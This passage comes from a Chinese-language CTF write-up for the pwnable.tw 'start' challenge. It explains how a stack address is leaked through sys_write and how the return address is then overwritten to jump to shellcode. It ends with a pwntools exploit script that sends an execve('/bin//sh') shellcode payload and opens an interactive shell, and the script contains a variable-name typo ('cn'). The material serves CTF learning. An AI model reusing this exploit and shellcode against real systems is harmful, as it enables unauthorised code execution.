<p>因为<code>ret</code>相当于<code>pop esp</code>,所以此时<code>esp</code>应该指向最早<code>push</code>的那个<code>esp</code>,通过<code>gdb-peda</code>调试我们可以发现最早<code>push</code>进栈的那个<code>esp</code>中存储的是自己下面的那个数的地址,此刻的栈状况应该为:</p>
<p><img src="https://s2.ax1x.com/2019/06/21/ZSYiG9.png" alt></p>
<p>然后执行<code>sys_write</code>,就会打印出来:</p>
<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//这里的esp为最早push的esp值,指向0x1</span></span><br><span class="line">esp | <span class="number">0x1</span> | xxx | xxx | xxx</span><br></pre></td></tr></table></figure>
<p>接着又会进入到<code>sys_read</code>了,一定要记住一点,<code>sys_read</code>也是从当前栈顶开始读入,因为我在看其他人的题解的时候就发现有人犯了这样的错误,认为接下来的<code>read</code>还是从原来的栈顶开始读入,参考连接:</p>
<blockquote>
<p><a href="https://blog.csdn.net/qq_35661990/article/details/82913196" target="_blank" rel="noopener">https://blog.csdn.net/qq_35661990/article/details/82913196</a></p>
</blockquote>
<p>CSDN上还有一些其他题解,要么就是没讲到这个点上,要么就是说的是错的,所以在这里我着重强调了一下</p>
<p>接下来我们又有一次输入的机会,因为同样有<code>add esp, 0x14</code>,所以同样要构造<code>'A' * 20</code>,接下来应该是<code>shellcode</code>的地址,也就是一个指向自身地址+<code>0x4</code>的值,而<code>esp</code>刚好满足这个条件,但是还要根据<code>offset</code>调整一下,我画张图应该就能理解了:</p>
<p><img src="https://s2.ax1x.com/2019/06/21/ZSYVr6.png" alt></p>
<p>我自己假设了一些地址,就是为了更方便理解,这样子我相信大家应该都不会有什么疑惑了,顺带提一点,我们的<code>shellcode</code>长度不能超过<code>0x3c-0x14-0x4</code></p>
<p>然后放一下我的poc吧:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line"></span><br><span class="line">conn = remote(<span class="string">'chall.pwnable.tw'</span>, <span class="number">10000</span>)</span><br><span class="line">conn.recv()</span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">20</span>+p32(<span class="number">0x08048087</span>) <span class="comment">#0x08048087为ida中 mov ecx, esp这一行的地址</span></span><br><span class="line">conn.send(payload)</span><br><span class="line"></span><br><span class="line"><span class="comment">#data为esp的值</span></span><br><span class="line">data = u32(cn.recv()[:<span class="number">4</span>])</span><br><span class="line">shellcode_addr = data+<span class="number">0x14</span></span><br><span class="line"></span><br><span class="line">payload = <span class="string">'a'</span>*<span class="number">20</span>+p32(shellcode_addr)+<span class="string">"\x31\xc0\x50\x68\x2f\x2f\x73"</span>\</span><br><span class="line"> <span class="string">"\x68\x68\x2f\x62\x69\x6e\x89"</span>\</span><br><span class="line"> <span class="string">"\xe3\x89\xc1\x89\xc2\xb0\x0b"</span>\</span><br><span class="line"> <span class="string">"\xcd\x80\x31\xc0\x40\xcd\x80"</span></span><br><span class="line">conn.send(payload)</span><br><span class="line">conn.interactive()</span><br></pre></td></tr></table></figure>]]></content>
<tags>
<tag> CTF </tag>
</tags>
</entry>
</search>